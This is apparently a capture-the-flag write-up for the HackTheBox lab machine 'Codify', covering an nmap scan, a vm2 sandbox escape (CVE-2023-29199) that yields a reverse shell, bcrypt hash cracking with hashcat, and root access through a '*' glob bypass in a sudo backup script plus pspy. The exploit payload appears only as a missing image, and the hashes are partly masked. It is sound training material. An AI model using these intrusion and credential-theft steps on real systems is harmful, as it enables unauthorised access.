We can start with a port scan as we always do:
╰─ nmap -sC -sV 10.129.83.21
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 20:25 CST
Nmap scan report for 10.129.83.21
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.37 seconds
We can add codify.htb to our hosts file and take a look:

When we go to the ‘Try it now’ section, we can run JavaScript code in a little editor which is really lucrative, but this is an easy machine so I want to look around and see if there is version information for a CVE or something similar first.
If we go to the ‘About us’ page, we can see a reference to a library called vm2 using version 3.9.16 which is three behind the latest release at the time this machine released.
I found out that there is a CVE associated with this library that allows for sandbox escape called CVE-2023-29199. It sounds like the perfect exploit given the context it is being used in on the web application. There is a good piece of proof of concept code that I found on GitHub here and all we need to do is edit the command being run and it can give us a reverse shell.
I ended using RevShells to make my payload and just used it like so:

When we run this we get a shell on our netcat listener as svc@codify.htb:
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from codify.htb [10.129.83.21] 34494
bash: cannot set terminal process group (1239): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$
If we start looking around in the web application’s files at /var/www, we can find a .db file that seems to contain a password hash for the joshua user:
svc@codify:/var/www/contact$ cat tickets.db
---SNIP---
sqlite_sequence(name,seq)�� tableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
---SNIP---joshua$2a$12$SOn8****************************************G/p/Zw2
---SNIP---
It looks like BCrypt so we can load it into hashcat and get cracking:
╰─ hashcat -m 3200 joshua-hash.txt /home/kali/Desktop/Useful-Misc./rockyou.txt
hashcat (v6.2.6) starting
---SNIP---
$2a$12$SOn8****************************************G/p/Zw2:sp******b1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
---SNIP---
We can SSH in with this password and get the user flag:
╰─ ssh joshua@codify.htb
joshua@codify.htbs password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
---SNIP---
joshua@codify:~$
Let’s look at the sudo permissions and see what we are allowed to do:
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Cool, might as well see that that script does:
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Without going into too much detail, here is what the script does:
- The script starts by defining three variables:
DB_USER,DB_PASS, andBACKUP_DIR. - The script then prompts the user to enter the
MySQLpassword for theDB_USER. - The script checks if the user-entered password matches the
DB_PASSvariable.- If the passwords match, the script continues. Otherwise, the script exits with an error message.
- The script creates the backup directory if it does not already exist.
- The script retrieves a list of all
MySQLdatabases on the remote server. - For each database in the list, the script backs up the database to a compressed file in the backup directory.
- The script changes the permissions of the backup directory to
root:sys-adm. This means that the root user will have full ownership of the backup directory and thesys-admgroup will have read-only access to the backup directory. - The script exits with a success message.
All the directories being accessed seem to be locked down enough to where we can’t see into them and there don’t seem to be any file path issues that we can pick up on.
I was able to log into the MySQL database but it didn’t give me anything I could actually get use out of.
I decided to try using a took called ShekkCheck that can help you find vulnerabilities in shell scripts. Thankfully, it gave me something to look into:
---SNIP---
Line 9:
if [[ $DB_PASS == $USER_PASS ]]; then
^-- [SC2053](https://www.shellcheck.net/wiki/SC2053) (warning): Quote the right-hand side of == in [[ ]] to prevent glob matching.
---SNIP---
I thought glob matching? never heard of it. After some googling I found out that globbing is when you use wildcard characters to match multiple filenames or paths.
I thought about what this has to do with a password and decided to start trying wildcard characters at random and when I used * it logged us in. I think this is because the character that is supposed to match zero or more characters in the file path - so the $USER_PASS ends up matching the password that the script is expecting.
Either way it works for us but doesn’t return any useful information on the surface:
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
I figured that more had to be going on so I ran pspy to see if the operations done by root could be observed. I use two SSH sessions to do this where one executes the program and the other watches in pspy and I was able to see the following:

And just like that plain as day we see the root user’s cleartext password. Nothing left to do but log in as root and wrap things up.
joshua@codify:~$ su root
Password:
root@codify:/home/joshua#